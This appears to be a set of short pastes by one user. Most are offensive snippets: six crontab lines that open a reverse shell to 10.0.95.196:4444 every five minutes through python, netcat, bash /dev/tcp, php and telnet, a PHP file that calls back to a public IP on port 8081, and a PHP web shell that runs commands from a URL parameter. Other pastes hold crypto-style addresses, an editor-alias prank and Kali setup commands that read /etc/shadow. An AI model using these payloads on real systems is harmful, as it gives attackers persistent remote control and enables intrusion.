NitescuLucian

*/5 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.95.196",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
*/5 * * * * touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.95.196 4444 > /tmp/f
*/5 * * * * bash -i >& /dev/tcp/10.0.95.196/4444 0>&1
*/5 * * * * nc -e /bin/sh 10.0.95.196 4444
*/5 * * * * php -r '$sock=fsockopen("10.0.95.196",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
*/5 * * * * TF=$(mktemp -u); mkfifo $TF && telnet 10.0.95.196 4444 0<$TF | /bin/sh 1>$TF

NitescuLucian

sudo apt-get install vigor
echo alias vi=vigor | sudo tee -a /etc/bash.bashrc
echo alias vim=vigor | sudo tee -a /etc/bash.bashrc
echo alias emacs=vigor | sudo tee -a /etc/bash.bashrc

NitescuLucian

<?php
	$a = system("bash -i >& /dev/tcp/45.32.187.31/8081 0>&1");
	echo $a;
?>

NitescuLucian

<?php
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
?>

ola!

NitescuLucian

0x3E69CaD23d8A74b7F89C3634Cb92E5B517AA80e4

NitescuLucian

0x1aD77B403d4EB152C9A5FF2aEa5f0c4D66bd063e

NitescuLucian

0x155E7b94E94d8aa655D34fb131F5D02F3D78887d

NitescuLucian

apt-get clean
apt-get update 
apt-get upgrade -y 
apt-get dist-upgrade -y
passwd
apt-get install chkrootkit
leafpad /etc/hostname
leafpad /etc/hosts
updatedb
cat /etc/shadow | awk -F: '($2==""){print $1}' > ./no_password_users.txt